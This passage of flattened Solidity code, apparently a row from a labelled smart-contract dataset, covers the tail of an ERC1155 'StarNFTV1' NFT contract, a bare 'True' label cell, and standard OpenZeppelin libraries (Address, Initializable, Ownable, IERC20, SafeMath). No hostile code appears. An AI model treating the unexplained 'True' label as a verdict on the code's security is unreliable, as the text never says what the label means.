emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
_balances[id][account] = _balances[id][account].sub(
amount,
"ERC1155: burn amount exceeds balance"
);
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][account] = _balances[ids[i]][account].sub(
amounts[i],
"ERC1155: burn amount exceeds balance"
);
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// File: StarNFTV2.sol
/**
* based on https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/ERC1155.sol
*/
contract StarNFTV1 is ERC1155, IStarNFT, Ownable {
using SafeMath for uint256;
// using Address for address;
// using ERC165Checker for address;
/* ============ Events ============ */
/* ============ Modifiers ============ */
/**
* Only minter.
*/
modifier onlyMinter() {
require(minters[msg.sender], "must be minter");
_;
}
/* ============ Enums ================ */
/* ============ Structs ============ */
/* ============ State Variables ============ */
// Used as the URI for all token types by ID substitution, e.g. https://galaxy.eco/{address}/{id}.json
string public baseURI;
// Mint and burn star.
mapping(address => bool) public minters;
// Total star count, including burnt nft
uint256 public starCount;
/* ============ Constructor ============ */
constructor () ERC1155("") {}
/* ============ External Functions ============ */
function mint(address account, uint256 powah) external onlyMinter override returns (uint256) {
starCount++;
uint256 sID = starCount;
_mint(account, sID, 1, "");
return sID;
}
function mintBatch(address account, uint256 amount, uint256[] calldata powahArr) external onlyMinter override returns (uint256[] memory) {
uint256[] memory ids = new uint256[](amount);
uint256[] memory amounts = new uint256[](amount);
for (uint i = 0; i < ids.length; i++) {
starCount++;
ids[i] = starCount;
amounts[i] = 1;
}
_mintBatch(account, ids, amounts, "");
return ids;
}
function burn(address account, uint256 id) external onlyMinter override {
require(isApprovedForAll(account, _msgSender()), "ERC1155: caller is not approved");
_burn(account, id, 1);
}
function burnBatch(address account, uint256[] calldata ids) external onlyMinter override {
require(isApprovedForAll(account, _msgSender()), "ERC1155: caller is not approved");
uint256[] memory amounts = new uint256[](ids.length);
for (uint i = 0; i < ids.length; i++) {
amounts[i] = 1;
}
_burnBatch(account, ids, amounts);
}
/**
* PRIVILEGED MODULE FUNCTION. Sets a new baseURI for all token types.
*/
function setURI(string memory newURI) external onlyOwner {
baseURI = newURI;
}
/**
* PRIVILEGED MODULE FUNCTION. Add a new minter.
*/
function addMinter(address minter) external onlyOwner {
require(minter != address(0), "Minter must not be null address");
require(!minters[minter], "Minter already added");
minters[minter] = true;
}
/**
* PRIVILEGED MODULE FUNCTION. Remove a old minter.
*/
function removeMinter(address minter) external onlyOwner {
require(minters[minter], "Minter does not exist");
delete minters[minter];
}
/* ============ External Getter Functions ============ */
/**
* See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256 id) external view override returns (string memory) {
require(id <= starCount, "NFT does not exist");
// Even if there is a base URI, it is only appended to non-empty token-specific URIs
if (bytes(baseURI).length == 0) {
return "";
} else {
// bytes memory b = new bytes(32);
// assembly { mstore(add(b, 32), id) }
// abi.encodePacked is being used to concatenate strings
return string(abi.encodePacked(baseURI, uint2str(id), ".json"));
}
}
/**
* Is the nft owner.
* Requirements:
* - `account` must not be zero address.
*/
function isOwnerOf(address account, uint256 id) public view override returns (bool) {
return balanceOf(account, id) == 1;
}
/* ============ Internal Functions ============ */
/* ============ Private Functions ============ */
/* ============ Util Functions ============ */
function uint2str(uint _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bStr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bStr[k] = b1;
_i /= 10;
}
return string(bStr);
}
}
|
True
|
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] |
// Sources flattened with hardhat v2.1.1 https://hardhat.org
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/[email protected]
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(
_initializing || _isConstructor() || !_initialized,
"Initializable: contract is already initialized"
);
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
